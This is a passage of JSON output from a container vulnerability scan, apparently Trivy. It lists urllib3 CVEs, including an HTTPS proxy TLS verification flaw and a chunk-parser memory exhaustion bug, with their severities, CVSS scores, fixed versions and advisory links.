2.7.0.", "Severity": "HIGH", "CweIDs": [ "CWE-409" ], "VendorSeverity": { "alma": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H", "V3Score": 7.5, "V40Score": 8.9 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:15862", "https://access.redhat.com/errata/RHSA-2026:20338", "https://access.redhat.com/errata/RHSA-2026:22934", "https://access.redhat.com/errata/RHSA-2026:24000", "https://access.redhat.com/errata/RHSA-2026:24009", "https://access.redhat.com/errata/RHSA-2026:24014", "https://access.redhat.com/errata/RHSA-2026:24069", "https://access.redhat.com/errata/RHSA-2026:24374", "https://access.redhat.com/errata/RHSA-2026:24476", "https://access.redhat.com/errata/RHSA-2026:24483", "https://access.redhat.com/errata/RHSA-2026:24540", "https://access.redhat.com/errata/RHSA-2026:24541", "https://access.redhat.com/errata/RHSA-2026:24542", "https://access.redhat.com/errata/RHSA-2026:24544", "https://access.redhat.com/errata/RHSA-2026:25039", "https://access.redhat.com/errata/RHSA-2026:25143", "https://access.redhat.com/errata/RHSA-2026:25928", "https://access.redhat.com/errata/RHSA-2026:26212", "https://access.redhat.com/errata/RHSA-2026:26304", "https://access.redhat.com/errata/RHSA-2026:27929", "https://access.redhat.com/errata/RHSA-2026:28000", "https://access.redhat.com/errata/RHSA-2026:28157", "https://access.redhat.com/errata/RHSA-2026:28158", "https://access.redhat.com/errata/RHSA-2026:28159", "https://access.redhat.com/errata/RHSA-2026:28571", "https://access.redhat.com/errata/RHSA-2026:30076", "https://access.redhat.com/errata/RHSA-2026:30078", "https://access.redhat.com/errata/RHSA-2026:30087", "https://access.redhat.com/errata/RHSA-2026:30088", "https://access.redhat.com/errata/RHSA-2026:30089", "https://access.redhat.com/errata/RHSA-2026:32992", "https://access.redhat.com/errata/RHSA-2026:33313", "https://access.redhat.com/errata/RHSA-2026:33683", "https://access.redhat.com/errata/RHSA-2026:34160", "https://access.redhat.com/errata/RHSA-2026:34374", "https://access.redhat.com/errata/RHSA-2026:34526", "https://access.redhat.com/errata/RHSA-2026:34531", "https://access.redhat.com/errata/RHSA-2026:34533", "https://access.redhat.com/errata/RHSA-2026:34607", "https://access.redhat.com/errata/RHSA-2026:36350", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42078", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42144", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:44481", "https://access.redhat.com/errata/RHSA-2026:51206", "https://access.redhat.com/errata/RHSA-2026:56347", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59409", "https://access.redhat.com/errata/RHSA-2026:60362", "https://access.redhat.com/errata/RHSA-2026:60371", "https://access.redhat.com/errata/RHSA-2026:7625", "https://access.redhat.com/errata/RHSA-2026:7634", "https://access.redhat.com/security/cve/CVE-2026-44432", "https://advisory.echohq.com/cve/CVE-2026-44432", "https://bugzilla.redhat.com/2477154", "https://bugzilla.redhat.com/2477167", "https://bugzilla.redhat.com/show_bug.cgi?id=2477154", "https://bugzilla.redhat.com/show_bug.cgi?id=2477167", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44431", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44432", "https://errata.almalinux.org/9/ALSA-2026-28159.html", "https://errata.rockylinux.org/RLSA-2026:28158", "https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-142.yaml", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j", "https://linux.oracle.com/cve/CVE-2026-44432.html", "https://linux.oracle.com/errata/ELSA-2026-32992.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-44432", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44432.json", "https://ubuntu.com/security/notices/USN-8379-1", "https://www.cve.org/CVERecord?id=CVE-2026-44432" ], "PublishedDate": "2026-05-13T16:16:57.303Z", "LastModifiedDate": "2026-09-10T13:20:11.887Z" }, { "VulnerabilityID": "CVE-2026-97687", "VendorIDs": [ "GHSA-8988-9cw3-xx77" ], "PkgName": "urllib3", "PkgPath": "venv/lib/python3.12/site-packages/urllib3-2.6.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.6.3", "UID": "83345907e620c723" }, "InstalledVersion": "2.6.3", "FixedVersion": "2.8.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97687", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:422f43c21a1e53d59afe67c0a47eca9e1327b62c096a76f54a8ef60bcef12f7b", "Title": "urllib3: urllib3: Traffic interception via HTTPS proxy TLS configuration override", "Description": "urllib3 is an HTTP client library for Python. From 1.26.0 until 2.8.0, the proxy_ssl_context, proxy_assert_hostname, proxy_assert_fingerprint, ssl_context, cert_reqs, verify_mode, use_forwarding_for_https=True, and CERT_NONE configuration paths fail to remain separated because target-server TLS settings are incorrectly applied to the HTTPS proxy connection. The trigger is that an application uses an HTTPS proxy and configures target-server TLS settings that must remain separate from the proxy TLS handshake, including HTTPS forwarding with target-specific identity or credentials. Applying cert_reqs=CERT_NONE can overwrite proxy_ssl_context.verify_mode in place, and the mutation persists so later connections reusing the same context may connect to the HTTPS proxy without certificate verification. The attack mechanism is that an attacker intercepts and impersonates the HTTPS proxy after the effective proxy policy accepts the attacker's certificate. The impact is that the attacker can observe or modify forwarded traffic or receive a target TLS client certificate, while CONNECT tunneling still preserves the separate end-to-end target TLS connection. This issue is fixed in version 2.8.0.", "Severity": "HIGH", "CweIDs": [ "CWE-295", "CWE-440" ], "VendorSeverity": { "alma": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 7.6 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:90494", "https://access.redhat.com/security/cve/CVE-2026-97687", "https://advisory.echohq.com/cve/CVE-2026-97687", "https://bugzilla.redhat.com/2543245", "https://bugzilla.redhat.com/2543255", "https://bugzilla.redhat.com/show_bug.cgi?id=2543245", "https://bugzilla.redhat.com/show_bug.cgi?id=2543255", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97687", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97689", "https://errata.almalinux.org/9/ALSA-2026-90494.html", "https://errata.rockylinux.org/RLSA-2026:90494", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465", "https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3", "https://github.com/urllib3/urllib3/pull/5093", "https://github.com/urllib3/urllib3/releases/tag/2.8.0", "https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77", "https://linux.oracle.com/cve/CVE-2026-97687.html", "https://linux.oracle.com/errata/ELSA-2026-92474.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97687", "https://ubuntu.com/security/notices/USN-8926-1", "https://www.cve.org/CVERecord?id=CVE-2026-97687" ], "PublishedDate": "2026-09-29T16:17:18.517Z", "LastModifiedDate": "2026-10-13T20:27:23.13Z" }, { "VulnerabilityID": "CVE-2026-97689", "VendorIDs": [ "GHSA-vxq7-64xx-v4gw" ], "PkgName": "urllib3", "PkgPath": "venv/lib/python3.12/site-packages/urllib3-2.6.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.6.3", "UID": "83345907e620c723" }, "InstalledVersion": "2.6.3", "FixedVersion": "2.8.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97689", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:7827579bf71cf6adf1a3ecce2302c59c74bf1cde6ad23c2f987aed0d374802be", "Title": "urllib3: urllib3: Denial of Service via unbounded memory allocation in chunk parser", "Description": "urllib3 is an HTTP client library for Python. From 1.10.3 until 2.8.0, the HTTPResponse.read_chunked and HTTPResponse.stream methods can allocate unbounded memory because the streaming chunk parser buffers the chunk-size field until newline or EOF without a length bound. The trigger is that a malicious server returns Transfer-Encoding: chunked followed by a very long run of bytes without a newline. The attack mechanism is that a malicious HTTP server sends a very long unterminated chunk-size line. The impact is that unbounded memory allocation can exhaust the client process. This issue is fixed in version 2.8.0.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H", "V40Score": 8.9 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:90494", "https://access.redhat.com/security/cve/CVE-2026-97689", "https://advisory.echohq.com/cve/CVE-2026-97689", "https://bugzilla.redhat.com/2543245", "https://bugzilla.redhat.com/2543255", "https://bugzilla.redhat.com/show_bug.cgi?id=2543245", "https://bugzilla.redhat.com/show_bug.cgi?id=2543255", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97687", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97689", "https://errata.almalinux.org/9/ALSA-2026-90494.html", "https://errata.rockylinux.org/RLSA-2026:90494", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed", "https://github.com/urllib3/urllib3/releases/tag/2.8.0", "https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw", "https://linux.oracle.com/cve/CVE-2026-97689.html", "https://linux.oracle.com/errata/ELSA-2026-92474.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97689", "https://ubuntu.com/security/notices/USN-8926-1", "https://www.cve.org/CVERecord?id=CVE-2026-97689" ], "PublishedDate": "2026-09-29T16:17:18.837Z", "LastModifiedDate": "2026-10-13T20:20:06.95Z" } ] } ] }